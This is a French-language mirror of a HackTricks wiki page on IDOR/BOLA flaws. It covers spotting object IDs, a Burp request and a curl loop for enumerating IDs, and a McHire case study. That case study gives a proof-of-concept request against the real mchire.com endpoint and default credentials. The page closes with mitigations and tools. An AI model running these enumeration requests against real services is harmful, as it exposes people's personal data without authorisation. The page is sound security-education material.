mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
84 lines
5.0 KiB
Markdown
84 lines
5.0 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un point de terminaison web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet. L'exploitation réussie permet normalement une élévation de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète du compte ou l'exfiltration de données massives.
|
||
|
||
---
|
||
## 1. Identifier les IDOR potentiels
|
||
|
||
1. Recherchez des **paramètres qui font référence à un objet** :
|
||
* Chemin : `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Requête : `?id=42`, `?invoice=2024-00001`
|
||
* Corps / JSON : `{"user_id": 321, "order_id": 987}`
|
||
* En-têtes / Cookies : `X-Client-ID: 4711`
|
||
2. Préférez les points de terminaison qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Notez lorsque les identifiants sont **séquentiels ou prévisibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
|
||
4. Explorez des flux cachés ou alternatifs (par exemple, le lien *"Membres de l'équipe Paradox"* sur les pages de connexion) qui pourraient exposer des API supplémentaires.
|
||
5. Utilisez une **session authentifiée à faible privilège** et changez uniquement l'ID **en gardant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR.
|
||
|
||
### Quick manual tampering (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Énumération automatisée (Burp Intruder / boucle curl)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. Étude de cas réelle – Plateforme de chatbot McHire (2025)
|
||
|
||
Lors d'une évaluation du portail de recrutement **McHire** alimenté par Paradox.ai, l'IDOR suivant a été découvert :
|
||
|
||
* Endpoint : `PUT /api/lead/cem-xhr`
|
||
* Autorisation : cookie de session utilisateur pour **n'importe quel** compte test de restaurant
|
||
* Paramètre de corps : `{"lead_id": N}` – identifiant numérique **séquentiel** à 8 chiffres
|
||
|
||
En diminuant `lead_id`, le testeur a récupéré des **informations personnelles complètes** (nom, e-mail, téléphone, adresse, préférences de quart) d'arbitraires candidats, ainsi qu'un **JWT** consommateur qui permettait le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||
|
||
Demande de preuve de concept :
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
Combined with **default admin credentials** (`123456:123456`) qui ont accordé l'accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise.
|
||
|
||
---
|
||
## 3. Impact de l'IDOR / BOLA
|
||
* Escalade horizontale – lire/mettre à jour/supprimer les données **d'autres utilisateurs**.
|
||
* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux administrateurs.
|
||
* Violation massive de données si les identifiants sont séquentiels (par exemple, identifiants de candidats, factures).
|
||
* Prise de contrôle de compte en volant des jetons ou en réinitialisant les mots de passe d'autres utilisateurs.
|
||
|
||
---
|
||
## 4. Atténuations & Meilleures Pratiques
|
||
1. **Appliquer l'autorisation au niveau des objets** sur chaque requête (`user_id == session.user`).
|
||
2. Préférer des **identifiants indirects et impossibles à deviner** (UUIDv4, ULID) au lieu d'IDs auto-incrémentés.
|
||
3. Effectuer l'autorisation **côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
|
||
4. Implémenter des vérifications **RBAC / ABAC** dans un middleware central.
|
||
5. Ajouter **limitation de taux & journalisation** pour détecter l'énumération des IDs.
|
||
6. Tester la sécurité de chaque nouvel endpoint (unitaire, intégration et DAST).
|
||
|
||
---
|
||
## 5. Outils
|
||
* **Extensions BurpSuite** : Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP** : Auth Matrix, Forced Browse.
|
||
* **Projets Github** : `bwapp-idor-scanner`, `Blindy` (chasse IDOR en masse).
|
||
|
||
## Références
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include ../banners/hacktricks-training.md}}
|